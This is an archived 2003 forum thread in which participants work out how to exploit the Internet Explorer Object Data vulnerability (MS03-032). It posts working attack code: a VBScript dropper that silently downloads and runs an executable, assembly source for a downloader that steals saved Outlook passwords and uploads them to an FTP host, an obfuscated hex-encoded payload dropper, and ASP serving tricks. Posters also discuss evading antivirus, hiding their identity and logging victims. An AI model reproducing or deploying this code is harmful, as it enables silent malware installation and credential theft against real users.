secTraq
Aug 27 2003, 09:14 PM
(previously posted in thread "new Exploit for IE". Moved here to discuss specificly the Internet Explorer Object Data Remote Execution Vulnerability) Hi everyone, This is my first post and therefore I would like to use this occasion to thank you all for sharing information and participating at governmentsecurity. I highly respect your effort and knowledge you bring into this forum. RESEARCH: I have done some research about the "new IE Exploit" and gathered the following information: This Vulnarability is called "Internet Explorer Object Data Remote Execution Vulnerability" and is one out of three Exploits described in MS Security Bulletin MS03-032The full Disclosure of this exploit (written by eEye) can be read at: http://lists.netsys.com/pipermail/full-dis...ust/008705.html. Two different Demonstrations of this exploit can be found at: http://www.secunia.com/MS03-032/ and http://www.finjan.com/mcrc/demos/objectdata/CONCLUSIONS: Based on the information gathered, I make the following conclusions: In short, IE permits the Execution of arbitrary code because it checks the extension of the file stated in the object data tag in the requesting html page. If the extension is .html, IE does not check any further. The server then returns a unsafe file (with an html extension though). The client then executes the file based upon the information in the Content Type Header for the unsafe file returned, so if it for e.g. says application/hta, it executes the file. The default configuration for IE is to not execute unsafe Active-X in the Internet Zone, and to ask if it should execute unsafe Active-X in the local Zone. The reason this Exploit is needed in the first place, is to execute arbitrary code on a computer in the Internet zone and doing it without the Victim having notice of it. The part that is tricky, is how to set up a Webserver, place the exploit within, and do what the two Demonstrations linked above do, execute arbitrary code (with the potential to run without the victim noticing it). Doing this would be the key to successfull exploiting whoever you want to exploit. TESTING: However, when i run apache or xserver, and try to exploit myself ;-) the code does not get executed when i connect trough the internet zone (for e.g. http://**.***.***.**/exploitRequestingPageWithObjectDataTag.html), and an error tells me there is a script error on the page, asking me if i want to proceed with the script or to cancel, it doesnt matter what is chosen, the script doesnt execute. When i connect through the local Zone, (for e.g. .http://localhost/exploitRequestingPageWithObjectDataTag.html) i get asked, if i want to execute the potentially malicious acive-x, if i choose "yes", it gets executed. Note: All tests have been done with the default IE Settings for Activ-X. All tests have been done with various scripts, (including basic ones as just running cmD.exe). Does the answer to this problem lie in the configuration for apache?. PROCEEDING: I am working hard on proceeding. The demonstrations proove executing arbitrary code can be done. I will keep you informed about further progress and would be thankfull if you do the same. secTraq
secTraq
Aug 28 2003, 03:12 AM
UPDATE: illwill has created another proof of this vulnarability. CAUTION: The link below will execute the acions listed below WITHOUT you being able to stop/notice it unless you have Antivirus Autoprotection running. I quote illwill as he has written in his post in Topic "new Exploit for IE" (page 5): -------------------------------------------------------------------------------------------- http://doomdead.com/users/illwilldownloads and executes an executable from the website, which in this case is a webdowlnoader i (illwill) made, that in turns downloads a i.e./outlook saved password revealer that uploads to my (illwills) ftp have fun (illwill) ---------------------------------------------------------------------------------------------
w00dy
Aug 28 2003, 04:13 AM
Here is the code that is executed. Its not all that hazardous. And its amazing i was able to get the source
| CODE | <HTML> <HEAD> <TITLE></TITLE> <HTA:APPLICATION ID="PsyBot" APPLICATIONNAME="PsyBotInstaller" BORDER="none" BORDERSTYLE="normal" CAPTION="no" ICON="" CONTEXTMENU="no" MAXIMIZEBUTTON="yes" MINIMIZEBUTTON="yes" SHOWINTASKBAR="no" SINGLEINSTANCE="no" SYSMENU="no" VERSION="1.0" WINDOWSTATE="minimize"/>
<script LANGUAGE="VBScript"> MyFile = "c:\me.vbs" Set FSO = CreateObject("Scripting.FileSystemObject") Set TSO = FSO.CreateTextFile(MyFile, True) TSO.write "Dim BinaryData" & vbcrlf TSO.write "Dim xml" & vbcrlf TSO.write "Set xml = CreateObject(""Microsoft.XMLHTTP"")" & vbcrlf TSO.write "xml.Open ""GET"", ""http://*******/DCOM2.exe"", False " & vbcrlf TSO.write "xml.Send" & vbcrlf TSO.write "BinaryData = xml.ResponseBody" & vbcrlf TSO.write "Const adTypeBinary = 1" & vbcrlf TSO.write "Const adSaveCreateOverWrite = 2" & vbcrlf TSO.write "Dim BinaryStream" & vbcrlf TSO.write "Set BinaryStream = CreateObject(""ADODB.Stream"")" & vbcrlf TSO.write "BinaryStream.Type = adTypeBinary" & vbcrlf TSO.write "BinaryStream.Open" & vbcrlf TSO.write "BinaryStream.Write BinaryData" & vbcrlf TSO.write "BinaryStream.SaveToFile ""c:\test.exe"", adSaveCreateOverWrite" & vbcrlf TSO.write "Dim WshShell" & vbcrlf TSO.write "Set WshShell = CreateObject(""WScript.Shell"")" & vbcrlf TSO.write "WshShell.Run ""c:\test.exe"", 0, false" & vbcrlf TSO.close Set TSO = Nothing Set FSO = Nothing
Dim WshShell Set WshShell = CreateObject("WScript.Shell") WshShell.Run "c:\me.vbs", 0, false </SCRIPT> <script> window.close() </script> </HEAD> </html> |
secTraq
Aug 28 2003, 05:07 AM
Thanks for the code wOOdy. (Unfortunatly) this is only one piece of the puzzle.
This code uses the extension .asp . When the page containing the code you uploaded is requested by the client, the server returns the value "application/hta" (html application) in the content type header. The request is triggerd by an object data tag referring to a link with the extension .asp by the client through a website or html crafted email.
This is one part making the exploit to work.
The second part nobody i know of (exept eEye Software, Finjan Security and a user of this forum named illwill, who unfortunately hasn't shared his knowledge up to this point (of course he has the right not to share it, maybe he is just to busy to share, we do not know, and no matter what i respect his work) knows what task additionally has to be done to successfully make use of this exploit.
Anyway in order for the exploit posted by illwill to work, the webpage requesting the code you uploaded, looks like this:
<html> <object style="display:none" data="cmd.asp"> </object> <h1> hi i'm illwill</h1> </html>
But like i said, this allone will probably not make this new great exploit work. Maybe the webserver providing the content must be configured in a specific way. Plz let me know if you have any idea how this could work.
secTraq
Aug 28 2003, 05:52 AM
Just some thoughts:
This vulnarability, once every aspect of it is known, will be very easy to take advantage of - only in legal ways of course. As the patch for this has been released just a week ago, one weak after the dcom worm has starting to attack, it is very likely that almost every windows box, not everyone ofcourse, is vulnerable at this moment, but i assume that patches now, after the dcom worm, will be more likely applied sooner than in the past. Also, i believe that because there are less technical skills required to use this exploit and also marketers for dialers etc. could potentially use it and (i don't think anybody has mentionned it before, but i think it is possible) email worms using this exploit could spread, this will be patched as soon as it gets in the wild! So m8tz we are working against the clock - would be happy to see you partizipate. There is still a good timeframe we have here.
Cheers and goodnight for now!
fiprotec
Aug 28 2003, 02:16 PM
Hi all, The script downloads http://./DCOM2.EXE to your C:\ (it is renamed as C:\TEST.EXE) Test.exe is a webdowloader that executes http://./PSPV.EXE (cf : http://riedersoft.myftp.org:85/~users/nirs...tils/pspv.html)The command line is : pspv.exe /shtml snagged.html (it produces a file "snagged.html") with your Outlook password. Then, the html file is sent to a ftp server, and deleted from your hard drive. Here a sample of the test.exe disassembled.. See Ya  [CODE] ;------------------------------------------------------------------------------ ; Name: .data ; Virtual Address: 00403000h Virtual Size: 0000035Ch ; Pointer To RawData: 00000800h Size Of RawData: 00000200h ; SSZ00403000_pspv_exe__shtml_snagged_html: db 'pspv.exe /shtml snagged.html',0 SSZ0040301D_illmob_ath_cx: db 'illmob.ath.cx',0 SSZ0040302B_ftp__n__s__s__s: db 'ftp -n -s:%s %s',0 SSZ0040303B_snagged_html: db 'snagged.html',0 SSZ00403048_upload_ftp: db 'upload.ftp',0 SSZ00403053_pspv_exe: db 'pspv.exe',0 SSZ0040305C_home: db 'home',0 SSZ00403061_pass: db 'pass',0 SSZ00403066_user__s__s__mkdir__s__cd__s__put: db 'user %s %s',0Dh,0Ah,'mkdir %s',0Dh,0Ah,'cd %s',0Dh,0Ah,'put %s',0Dh,0Ah,'bye',0 SSZ0040308F_http___www_illmob_org_pspv_exe: db 'http://www.illmob.org/pspv.exe',0 db 00h; db 00h; .... ;------------------------------------------------------------------------------
mrBob
Aug 28 2003, 04:49 PM
think i'm gonna follow this thread too
illwill
Aug 28 2003, 11:29 PM
<% Response.buffer = TRUE
Response.Clear() Response.ContentType = "application/octet-stream" Response.Flush() Response.WriteFile("c:\test.exe")
Response.End %>
name it download.asp
also here the code for my webdownloader....have fun ~ illwill www.illmob.org
.386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\shell32.inc include \masm32\include\advapi32.inc include \masm32\include\masm32.inc include \masm32\include\urlmon.inc
;| Libraries: includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\shell32.lib includelib \masm32\lib\advapi32.lib includelib \masm32\lib\masm32.lib includelib \masm32\lib\urlmon.lib
.data Redir db "pspv.exe /shtml snagged.html",0 FTPsite db 'illmob.ath.cx',0 FTPstring db 'ftp -n -s:%s %s',0 Passes db 'snagged.html',0 cmds db "upload.ftp",0 passrape db "pspv.exe",0 user db "home", 0 pass db "pass", 0 fmt db "user %s %s",0Dh, 0Ah db "mkdir %s",0Dh, 0Ah db "cd %s",0Dh, 0Ah db "put %s",0Dh, 0Ah db "bye",0 web db 'http://www.illmob.org/pspv.exe',0,32 dup(0) .data? UserName db 256 dup(?) UserNameLen dd ? usernamebuff db 256 dup(?) sitebuff db 128 dup(?) hFile dd ? fwritten dd ? .code start: push 0 push 0 push offset passrape push offset web push 0 call URLDownloadToFileA invoke WinExec,addr Redir, SW_HIDE invoke Sleep,1000 ; let the passwords fill up mov UserNameLen, SIZEOF UserName invoke GetUserName, addr UserName, addr UserNameLen invoke wsprintf,addr usernamebuff,addr fmt,addr user,addr pass,addr UserName,addr UserName,addr Passes invoke wsprintf,addr sitebuff,addr FTPstring,addr cmds,addr FTPsite ;create a upload.ftp file that has the ftp cmds in it in it invoke CreateFile,ADDR cmds,GENERIC_WRITE,FILE_SHARE_READ, 0,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN,0 mov hFile,eax invoke lstrlen,ADDR usernamebuff invoke WriteFile,hFile,ADDR usernamebuff,eax,ADDR fwritten,0 invoke CloseHandle,hFile invoke WinExec, addr sitebuff, SW_HIDE invoke Sleep,8000 ;let that shit finish or the delete will (filtered) it up invoke DeleteFile, addr cmds invoke DeleteFile, addr Passes invoke DeleteFile, addr passrape invoke ExitProcess, eax end start
n0vun
Aug 29 2003, 12:29 PM
alright, yall tell me if this works.... http://www.clikear.com/webs4/n0vun/It loads malware dummy file. (so i hope) ;-)
mojo
Aug 29 2003, 01:29 PM
It works!
how did you do it?
secTraq
Aug 29 2003, 11:36 PM
Thanks illwill for sharing that great wonderfull knowledge with us!
nOvun, when i allow your script to run, the script still has an error.
secTraq
Aug 30 2003, 12:24 AM
Hasn't worked for me yet aswell.
secTraq
Aug 30 2003, 01:50 AM
NOTE FOR APACHE USERS: If you would like to follow illwill's .asp solution, you can do that with Apache aswell: http://wwws.sun.com/software/chilisoft/index.htmlCheers
woutiir
Aug 30 2003, 08:57 PM
Let me get this picture clear.
You guys are trying to take advanatage of this Ie object data remote execution vulnerability in a way that when a IE user comes at a give HTML file the HTML file, or IE actually, will execute a give command, in the case described here, downloads a file (more of a trojan really) and upload your outlook express password file to a FTP.
What you guys are trying to do is do the same but for your personal use, for an example, do the same to your own FTP.
Tho, you guys or shall i say we, do not have enough information to get this to work? Or am i totally wrong now.
And a nother thing is, we have bypassed the 'notice' thingy already? Or is that also a problem.
Second thing is AV (AntiVirus). Is that being bypassed also?
Thnx, woutiir
secTraq
Aug 30 2003, 11:29 PM
| QUOTE | What you guys are trying to do is do the same but for your personal use, for an example, do the same to your own FTP.
|
Exactly. For me personally, i am not seeking to use this exploit widely, its more the fun and of good educational value to me . I have learned quite allot in these hours doing research and analysing code. Right now i am learning VBScript and ASP.
| QUOTE | | Tho, you guys or shall i say we, do not have enough information to get this to work? Or am i totally wrong now. |
I believe only o hand full of people have already managed to get this thing work, as this exploit is rather new. But I do believe that the information provided on this Topic here should be enough to get it work. As i said, i am learning VBScipt and ASP now, that should do it I hope. I am using http://www.w3schools.com to learn these languages. | QUOTE | | And a nother thing is, we have bypassed the 'notice' thingy already? Or is that also a problem. |
No, the exploit is the reason for not getting the notice and letting the script on the page execute silently.
| QUOTE | | Second thing is AV (AntiVirus). Is that being bypassed also? |
In my first post I have posted a link to 2 examples. Those two were not detected by my AV. Illwills example is detected by AV.
If you happen to get this exploit to work, please let me know, i would be very interested in your solution.
secTraq
Aug 31 2003, 12:37 AM
n0vun
Aug 31 2003, 12:54 AM
@mojo: I just used what illwill posted right before my post  @secTraq: what kind of error? lets try again, tell me if it works! http://www.clikear.com/webs4/n0vun
secTraq
Aug 31 2003, 01:08 AM
Here you go nOvun.. Well, i don't live in an english speaking country, so i have to translate the error, i'll do my best.. ------------------------- Title: Internet Explorer ! Script Error on page Row: 79 Column:1 Error: Object needed 'WScript' Code: 0 URL: http://www.clkear.com/webs4/nOvun/download.aspShould this page be executed further? YES / NO ------------------------- Despite the error, you have done more progress than I have untill now. Could you post the exact source of all the files you have placed on your server for this exploit? It would help.
secTraq
Aug 31 2003, 03:01 AM
=> n0vun
Now you did it! I was shocked when i saw my screen burn, nothing bad happend though, i hope!
Please share the source code.
mojo
Aug 31 2003, 03:21 AM
I don't understand how you get iwill's download.asp to point to a file you want to download to the victim. If you could explain that much, I would be greatful.
secTraq
Aug 31 2003, 03:30 AM
I have problem to write the code of the download page, cause i am not familiar with ASP and VBScript
schnibble
Aug 31 2003, 03:30 AM
I supose this is the code?
| QUOTE | <HTA:APPLICATION ID="oMyApp" SHOWINTASKBAR="no" WINDOWSTATE="minimize" SINGLEINSTANCE="no" BORDER="none">
<title>Hello there!!</title>
<script language=vbs>
self.MoveTo 5000, 5000
dim v(24) cut=""
v(0)=& quot;4D,5A,44,01,05,y,02,y,20,y,21,y,z2,75,y2,02,y2,99,y3,3E,y3,01,y,FB,30,6A,72 ,y1C,79,y3,9E,y1CD,66,33,C0,33,z,8C,D3,83,C3,20,B9,70,3F,8E,C3,F3,66,AB,8C,C0,8E ,D8,B8,y,A0,8E,C0,C3,66" v(1)=& quot;,B9,y,FA,y2,66,BF,y4,66,BE,81,02,y2,66,33,C0,67,8A,9F,40,01,y2,03,D8,C1,E3, 04,2B,D8,2B,D8,66,C1,C8,10,03,D8,AC,03,D8,C1,EB,05,67,88,1F,47,E2,DE,C3,B9,80,3E ,33,z,33,F6,F3,66,A5,C3" v(2)=& quot;,1E,06,8C,D8,05,A0,0F,8E,C0,B8,0F,y,8E,D8,33,C0,67,8A,03,8B,F0,BF,0A,y,B9,2 C,01,F3,A4,8B,F0,83,C7,14,B9,2C,01,F3,A4,07,1F,C3,B0,13,CD,10,BA,0F,y,8E,DA,BE,4 8,03,BA,C8,03,32,C0,EE" v(3)=& quot;,42,B9,y,03,F3,6E,E8,5C,z,66,33,DB,E8,B5,z,53,E8,6E,z,BA,DA,03,EC,A8,08,75, FB,EC,A8,08,74,FB,E8,96,z,5B,FE,C3,B4,01,CD,16,74,E0,B8,03,y,CD,10,B8,y,4C,CD,21 ,yF,B1,C0,90,1D,7B" v(4)=& quot;,88,D9,26,6B,C2,C1,88,B8,C9,A4,3A,8B,7F,93,8E,5C,30,DB,1F,3A,7F,8D,57,33,C1 ,8C,B1,77,98,89,DA,6B,D7,5C,86,7C,AB,A8,8E,22,D0,D9,A0,5E,85,D9,2E,A2,C3,6C,63,6 C,45,24,BF,21,97,8E,D0,8A" v(5)=& quot;,1A,BF,C0,9B,16,26,B2,9D,D7,8A,2D,B3,8C,24,49,A5,8D,29,9F,2D,87,5C,C6,C7,5A ,38,97,96,2D,2A,15,CD,A5,73,CC,AE,A6,5D,75,A4,22,B3,9F,8C,D7,77,26,A7,56,B0,B8,6 4,84,1B,5A,D9,1D,CE,AF,36" v(6)=& quot;,3B,98,7C,C3,38,4C,C0,1A,22,1E,CF,46,79,622,1D,78,D7,CF,6D,DA,7F,6C,A2,25,9 7,C8,4B,C2,C8,33,70,A5,29,1C,19,BB,A9,69,18,A3,34,9F,51,63,33,1B,3A,7D,57,81,BD, 20,A9,D5,23,19,55,4C,55,AA" v(7)=& quot;,62,19,A1,89,23,2B,6B,30,72,92,39,52,94,A8,35,6E,57,CA,CC,C8,CB,9B,C1,71,46 ,6B,61,6B,2A,7E,71,C7,49,AD,3A,4F,AB,C1,5F,15,67,A7,C4,3C,87,90,59,8A,D7,64,C8,2 1,BE,1B,6C,90,B0,D8,73,91" v(8)=& quot;,50,75,41,3C,4C,56,D6,3F,A2,2C,1C,B9,65,D8,76,C6,38,B5,51,B9,33,B4,48,64,84 ,56,A8,A0,AE,1D,9C,C2,1B,83,93,DB,59,54,22,75,70,AF,9E,19,7E,78,34,7D,5D,AA,A1,5 E,55,46,BB,BE,14,C5,1A,45" v(9)=& quot;,5E,14,3B,C5,7B,6D,BB,40,81,AD,7A,D2,4A,8E,3D,B4,D6,5C,A9,C6,26,C7,98,58,C6 ,7D,BB,15,BE,78,CF,C5,74,7C,75,AA,2B,77,25,C1,5F,A7,23,C1,8A,CF,D7,49,55,54,9B,8 4,8A,55,5D,35,1F,71,25,92" v(10)=& quot;,79,D5,CF,82,2E,23,5D,8B,35,8A,4E,76,1C,C6,7E,26,19,AF,A7,32,38,CE,49,2C2,D 0,14,67,39,2D,29,83,33,82,CE,AD,CF,CD,28,1A,1E,38,B0,CE,41,2E,7B,48,4C,2B,D2,92, BD,CB,97,24,B8,39,C2,9C,5A" v(11)=& quot;,D9,D3,63,17,D7,71,18,302,96,67,1C,9E,50,45,58,30,8B,C4,7F,85,9A,4C,C9,58,B 3,1F,D3,53,20,24,C9,D6,D0,A8,5A,A1,48,92,7B,D3,70,B2,72,2A,CF,B5,8F,C1,63,2D,1F, 6E,1C,B6,B2,C0,2E,B6,26,19" v(12)=& quot;,B5,20,B9,5C,14,3D,C9,2A,51,20,7A,3B,B3,2B,CE,B8,3F,90,A8,2F,CF,4E,CF,68,28 ,1B,14,BF,6F,A2,1C,85,88,D0,AA,5E,18,B7,1A,1E,C6,7F,D9,94,6D,AC,B5,4C,59,B0,6E,C 0,4D,3D,A4,C0,5A,90,65,38" v(13)=& quot;,53,38,61,81,CA,A4,3C,96,28,49,78,86,54,2F,63,2E,42,66,57,28,2B,95,BF,58,5E ,51,95,5E,A2,3D,71,C9,A8,CD,AE,C1,54,D4,BC,2A,9C,76,9E,43,9E,84,92,AB,A4,3B,1B,B F,B9,75,65,5E,B3,3C,8C,94" v(14)=& quot;,41,B5,93,B8,59,DB,C2,87,D5,76,60,61,3B,47,A9,15,7E,96,A2,38,60,62,80,9B,2A ,5E,CB,A7,6F,47,83,36,82,8F,72,18,37,8F,20,4E,D8,9E,B1,9B,85,3E,A3,70,5F,8A,54,5 B,2D,C6,A8,A7,68,8D,94,1E" v(15)=& quot;,44,A4,16,83,BC,99,58,3E,C5,9E,15,4F,9C,78,3A,6A,7F,2A,32,9F,48,30,47,59,6D ,3D,AA,48,7D,AE,AF,DB,72,A8,D9,D1,2A,98,B5,49,BC,36,6B,17,45,D2,3E,DB,37,B1,67,8 0,A0,99,9D,93,89,93,90,88" v(16)=& quot;,90,47,58,65,5A,C4,C8,80,2E,80,A0,8F,77,9A,5E,4F,D3,B3,92,3A,81,1B,4D,CD,2B ,D8,A1,5B,9F,63,3E,D6,A7,17,55,7C,73,C9,90,C5,33,85,82,B2,39,78,64,C1,3C,C2,77,8 0,4D,21,37,96,29,69,4A,C6" v(17)=& quot;,4A,53,C2,65,94,68,54,8C,A7,68,74,40,79,C7,512,63,8E,8D2,92,5B,37,30,722,47 ,A2,8E,B1,84,51,1D,A2,4B,26,53,58,7C,5C,B1,3A,97,AC,56,B7,C4,42,BC,3F,65,82,yF0, 0F,y2,10,y2,11,y2,12,y2,13,y2" v(18)=& quot;,14,y2,15,y2,16,y2,17,y2,18,y2,19,y2,1A,y2,1B,y2,1C,y2,1D,y2,1E,y2,1F,y2,20 ,y2,21,y2,22,y2,23,y2,24,y2,25,y2,26,y2,27,y2,28,y2,29,y2,2A,y2,2B,y2,2C,y2,2D,y 2,2E,y2,2F,y2,30,y2,31,y2" v(19)=& quot;,32,y2,33,y2,34,y2,35,y2,36,y2,37,y2,38,y2,39,y2,3A,y2,3B,y2,3C,y2,3D,y2,3E ,y2,3F,y2,3F,y2,3F,y2,3F,01,y,3F,02,y,3F,03,y,3F,04,y,3F,05,y,3F,06,y,3F,07,y,3F ,08,y,3F,09,y,3F" v(20)=& quot;,0A,y,3F,0B,y,3F,0C,y,3F,0D,y,3F,0E,y,3F,0F,y,3F,10,y,3F,11,y,3F,12,y,3F,13 ,y,3F,14,y,3F,15,y,3F,16,y,3F,17,y,3F,18,y,3F,19,y,3F,1A,y,3F,1B,y,3F,1C,y,3F,1D ,y,3F" v(21)=& quot;,1E,y,3F,1F,y,3F,20,y,3F,21,y,3F,22,y,3F,23,y,3F,24,y,3F,25,y,3F,26,y,3F,27 ,y,3F,28,y,3F,29,y,3F,2A,y,3F,2B,y,3F,2C,y,3F,2D,y,3F,2E,y,3F,2F,y,3F,30,y,3F,31 ,y,3F" v(22)=& quot;,32,y,3F,33,y,3F,34,y,3F,35,y,3F,36,y,3F,37,y,3F,38,y,3F,39,y,3F,3A,y,3F,3B ,y,3F,3C,y,3F,3D,y,3F,3E,y,3F2,y,3F2,y,3F2,y,3F2,01,3F2,02,3F2,03,3F2,04,3F2,05, 3F2,06,3F2,07,3F2,08" v(23)=& quot;,3F2,09,3F2,0A,3F2,0B,3F2,0C,3F2,0D,3F2,0E,3F2,0F,3F2,10,3F2,11,3F2,12,3F2, 13,3F2,14,3F2,15,3F2,16,3F2,17,3F2,18,3F2,19,3F2,1A,3F2,1B,3F2,1C,3F2,1D,3F2,1E, 3F2,1F,3F2,20,3F2,21,3F2,22,3F2,23,3F2,24,3F2,25,3F2,26" v(24)=& quot;,3F2,27,3F2,28,3F2,29,3F2,2A,3F2,2B,3F2,2C,3F2,2D,3F2,2E,3F2,2F,3F2,30,3F2, 31,3F2,32,3F2,33,3F2,34,3F2,35,3F2,36,3F2,37,3F2,38,3F2,39,3F2,3A,3F2,3B,3F2,3C, 3F2,3D,3F2,3E,3F5,3F"
function res(x,y) For k = 0 To UBound(v) v(k) = Replace(v(k), x, y) Next End Function
res "z", "FF" res "y", "00" piece = Split(cut, "/") cc = 103
For n = 0 To UBound(piece) - 1 res Chr(cc), piece(n) cc = cc + 1 Next
For m = 0 To UBound(v) it = it & v(m) Next
tmp = Split(it, ",") Set fso = CreateObject("Scripting.FileSystemObject") pth = fso.getspecialfolder(2) & "\fooware.exe" if fso.fileexists(pth) then fso.deletefile(pth) Set f = fso.CreateTextFile(pth, ForWriting) For i = 0 To UBound(tmp) l = Len(tmp(i)) b = Int("&H" & Left(tmp(i), 2)) If l > 2 Then r = Int("&H" & Mid(tmp(i), 3, l)) For j = 1 To r f.Write Chr(b) Next Else f.Write Chr(b) End If Next f.Close Set shell=CreateObject("WScript.Shell") shell.run(pth)
</script> |
secTraq
Aug 31 2003, 03:36 AM
Is it? It don't work for me. I would like to see the full code of the .asp page , including the code that gets interpreted by the webserver and we do not see when looking at the source of the webpage.
what
Aug 31 2003, 03:36 AM
I have a code that downloads and executes a program with a fully patched version of IE and Norton does not detect it. These are the condtions that I will share the code under. . . . 1. I want to utilize this, but not get caught. Is there anyway that I can log the IP address of the victim, without giving them my IP address (such as connecting to IRC or some type of middle man) 2. This code is not for a wide and varied distribution. Be careful with it. It stays in the forum, don't share, or we will both go down. . . . That's it. The people in here are smart, and when motivated, can do anything they want. If you need motivation, reread.
mojo
Aug 31 2003, 03:42 AM
I found out what I was doing wrong, basically take cmd.asp posted by iwill and play with the vbscript.
Right now, I just made this...
<script LANGUAGE="VBScript"> Dim strName strName = "Victim"
Msgbox "Hello " + strName, vbExclamation + _ vbOKOnly, "Test Message Box" </SCRIPT>
and it worked...so the VBS is the key...
secTraq
Aug 31 2003, 03:50 AM
what =>
I dont know if it would work, but i suppose you could open an account at a free webserver, doing so with connecting anonymously through a anonymous proxy server. Then make the client upload his ip to that server through ftp.
As I wrote earlier, I am not interested in using this code widely. I only use this code for education.
Would be very thankfull if you share it.
what
Aug 31 2003, 04:02 AM
ok, I would like something a little bit better, but I believe I can trust you to find a more "for sure" method. I was wondering if I could connect to an IRC channel and post the IP (which I made a prog in VB to do) but if mswinsck.ocx is not installed, them i am SOL. here is the exploit that will show you the proof of concept. I believe the name of the program is appropriate. All the program does is output "Commands can be executed!" to the user, then closes. The name of the prog is "poc.exe". Check out the source for yourself.
secTraq
Aug 31 2003, 04:03 AM
=> mojo
The code you posted dosn't execute for me. Even when using it locally, i get: permission denied. Sure you have the default IE settings?
I am playing around with the code of download.asp posted by illwill and the code previously posted by woody. I believe in merging them, so the content type returned by the server is application/hta or application/octet-stream. Hope this will make it work.
mojo
Aug 31 2003, 04:10 AM
| CODE | <HTML> <HEAD> <TITLE></TITLE> <HTA:APPLICATION ID="PsyBot" APPLICATIONNAME="PsyBotInstaller" BORDER="none" BORDERSTYLE="normal" CAPTION="no" ICON="" CONTEXTMENU="no" MAXIMIZEBUTTON="yes" MINIMIZEBUTTON="yes" SHOWINTASKBAR="no" SINGLEINSTANCE="no" SYSMENU="no" VERSION="1.0" WINDOWSTATE="minimize"/>
<script LANGUAGE="VBScript"> Dim strName strName = "Victim"
Msgbox "Hello " + strName, vbExclamation + _ vbOKOnly, "Test Message Box" </SCRIPT>
<script> window.close() </script> </HEAD> </html> |
Thats the full code
secTraq
Aug 31 2003, 04:14 AM
=> what
Was thinking would it be possible for you to download mswinsck.ocx to the target machine, when making use of the exploit, to make sure it is installed so your prog would work?
Bye the way, the link you posted is dead.
secTraq
Aug 31 2003, 04:18 AM
=> mojo
I used the code u posted a minute ago. To call it, i used the following:
<html> <object style="display:none" data="cmd.asp"> </object> </html>
I get the same error as before.
what
Aug 31 2003, 04:22 AM
sorry about that last code. Try going here now. It will open up cmd.exe if it is in the C:\WINNT\system32\ folder. If cmd.exe is not, save the code locally and change it to the directory it is in. Have fun. P.S. I restored the defaults. Slap me around later.
secTraq
Aug 31 2003, 04:27 AM
=> what Guess it wasn't your fault. http://www.angelfire.com/oz/z5/ just dosnt work for me. Even www.angelfire.com dosnt work. Could you place it somewhere else?
secTraq
Aug 31 2003, 04:42 AM
Just like i did now.
what
Aug 31 2003, 04:52 AM
<html> <body> <span id="oSpan"></span> <script language="jscript" defer> oSpan.innerHTML='<object classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/winnt/system32/cmd.exe"></object>'; </script> </body> </html>
what
Aug 31 2003, 04:53 AM
angelfire sucks. It filtered out the code. Try it locally and it works fine.
secTraq
Aug 31 2003, 05:10 AM
=> what
sorry, pal. The code u posted works just fine - locally. But it a different story when in the internet.
I tested on angelfire, could connect throug a proxy. The code didn't execute. Then i took the code from your post. Ran it locally, worked fine. Ran it on my webserver.. and again, the code didn't execute.
secTraq
Aug 31 2003, 06:29 AM
Sorry, the previous posted code didn't work.
I will try to write it different and post it if its usefull.
I appologise.
what
Aug 31 2003, 07:13 AM
i have a question: I found a site that has the following code in it:
<OBJECT id=obj codeBase=http://cdn.climaxbucks.com/internet-optimizer/br/wsi9/optimize.exe height=0 width=0 classid=CLSID:FC87A650-207D-4392-A6A1-82ADBC56FA64><PARAM NAME="DownloadURL2" VALUE="http://cdn.climaxbucks.com/internet-optimizer/br/wsi9/optimize.exe"><PARAM NAME="Delay2" VALUE="0"></OBJECT>
It downloads and executes a program called optimize.exe and creates a folder called dialers in the Programs folder. But, when I direct towards another program, it does none of the above! Any thoughts on this? I find it really weird.
secTraq
Aug 31 2003, 08:06 AM
I honestly have no idea.
Besides, i kindly ask you to ask your questions about other Topics than the IE Object Data Remote Execution Vulnarability in an other, to your request corresponding Thread.
Don't get me wrong, i don't want to offend you, but i opened this Thread to specificly discuss the Object Data Vulnarability. People don't like when everything gets mixed up.
If you do not find a Topic that matches your request you can open a Topic yourself if you wish. Like that, questions usualy are answered if people know the answers.
But, IF you have a question about the IE Object Data Remote Execution Vulnarability, i will be happy to answer it if I can. And of course i will be happy to answer any of your questions, if i can and you ask them where that Topic is discussed.
what
Aug 31 2003, 06:11 PM
No offense taken. I'm sorry that I was getting this all mixed up. I'll be posting a new thread that discusses this vulnerability elsewhere. Again, sorry for the confusion.
mydox2k3
Sep 20 2003, 08:36 PM
guggi
Sep 22 2003, 01:59 PM
i got it working - just change the mime settings in IIS-setup.
i.e. if you have a script "download.asp" change the asp-type to hta...
guggi
balpreetpankaj
Oct 12 2003, 01:16 PM
Tried changing mime settings but still the exploit fails. even changed the httpd-conf file settings of my server ......the exploit still fails ......if anyone has any idea plz explain how to configure the server
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
|